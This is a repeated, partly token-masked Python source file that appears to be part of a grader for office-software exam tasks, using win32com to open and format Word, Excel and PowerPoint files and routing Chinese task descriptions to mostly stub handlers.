sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n\n def insertOper(self, style):\n pass\n\n def pageOper(self):\n pass\n\n def paragraphOper(self):\n pass\n\n def judgePage(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeParagraph(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n\n def insertOper(self, style):\n pass\n\n def pageOper(self):\n pass\n\n def paragraphOper(self):\n pass\n <function token>\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeParagraph(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n <function token>\n\n def pageOper(self):\n pass\n\n def paragraphOper(self):\n pass\n <function token>\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeParagraph(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('标题') != -1 or OperStr.find('黑体'\n ) != -1 or OperStr.find('居中对齐') != -1:\n print('进入字体操作')\n self.judgeFont(OperStr)\n print('结束字体')\n elif OperStr.find('首行缩进') != -1 or OperStr.find('行距') != -1:\n print('进入段落操作')\n self.judgeParagraph(OperStr)\n print('结束段落操作')\n elif OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n elif OperStr.find('页边距') != -1:\n print('进入页边距操作')\n self.judgePage(OperStr)\n print('结束页边距操作')\n elif OperStr.find('分栏') != -1:\n print('进入分栏操作')\n self.judgeFont(OperStr)\n print('结束分栏操作')\n elif OperStr.find('替换') != -1:\n print('进入替换操作')\n self.judgeReplace(OperStr)\n print('结束替换操作')\n\n\n<docstring token>\n\n\nclass ExcelOperation:\n\n def __init__(self, filename=None):\n self.xlApp = win32com.client.Dispatch('Excel.Application')\n if filename:\n self.filename = filename\n self.xlBook = self.xlApp.Workbooks.Open(filename)\n else:\n self.xlBook = self.xlApp.Workbooks.Add()\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n self.xlBook.SaveAs(newfilename)\n else:\n self.xlBook.Save()\n\n def close(self):\n self.xlBook.Close(SaveChanges=0)\n del self.xlApp\n\n def getCell(self, sheet, row, col):\n \"\"\"Get value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Cells(row, col).Value\n\n def setCell(self, sheet, row, col, value):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Value = value\n\n def setCellformat(self, sheet, row, col):\n \"\"\"set value of one cell\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Cells(row, col).Font.Size = 15\n sht.Cells(row, col).Font.Bold = True\n sht.Cells(row, col).Font.Name = 'Arial'\n sht.Cells(row, col).Interior.ColorIndex = 3\n sht.Cells(row, col).BorderAround(1, 4)\n sht.Rows(3).RowHeight = 30\n sht.Cells(row, col).HorizontalAlignment = -4131\n sht.Cells(row, col).VerticalAlignment = -4160\n\n def rowHeightOper(self, sheet, row, height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height\n\n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()\n sht.Columns(row).Delete()\n\n def getRange(self, sheet, row1, col1, row2, col2):\n \"\"\"return a 2d array (i.e. tuple of tuples)\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value\n\n def addPicture(self, sheet, pictureName, Left, Top, Width, Height):\n \"\"\"Insert a picture in sheet\"\"\"\n sht = self.xlBook.Worksheets(sheet)\n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n\n def cpSheet(self, before):\n \"\"\"copy sheet\"\"\"\n shts = self.xlBook.Worksheets\n shts(1).Copy(None, shts(1))\n\n def judgeRowHeight(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeColWidth(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFormula(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeFunction(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeSort(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeChart(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBoxLine(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('行高') != -1:\n print('进入行高操作')\n self.judgeRowHeight(OperStr)\n print('结束行高操作')\n if OperStr.find('列宽') != -1:\n print('进入列宽操作')\n self.judgeColWidth(OperStr)\n print('结束列宽操作')\n if OperStr.find('公式') != -1:\n print('进入公式操作')\n self.judgeFormula(OperStr)\n print('结束公式操作')\n if OperStr.find('函数') != -1:\n print('进入函数操作')\n self.judgeFunction(OperStr)\n print('结束函数操作')\n if OperStr.find('所有框线') != -1:\n print('进入所有框线操作')\n self.judgeBoxLine(OperStr)\n print('结束所有框线操作')\n if OperStr.find('排序') != -1:\n print('进入排序操作')\n self.judgeSort(OperStr)\n print('结束排序操作')\n if OperStr.find('图表') != -1:\n print('进入图表操作')\n self.judgeChart(OperStr)\n print('结束图表操作')\n pass\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass WordOperation:\n\n def __init__(self, filename=None):\n self.wordApp = win32com.client.Dispatch('Word.Application')\n if filename:\n self.filename = filename\n else:\n self.filename = ''\n\n def save(self, newfilename=None):\n if newfilename:\n self.filename = newfilename\n else:\n pass\n\n def close(self):\n del self.wordApp\n\n def fontOper(self):\n pass\n\n def replaceOper(self, source, dest):\n pass\n <function token>\n\n def pageOper(self):\n pass\n <function token>\n <function token>\n\n def judgeFont(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeReplace(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', 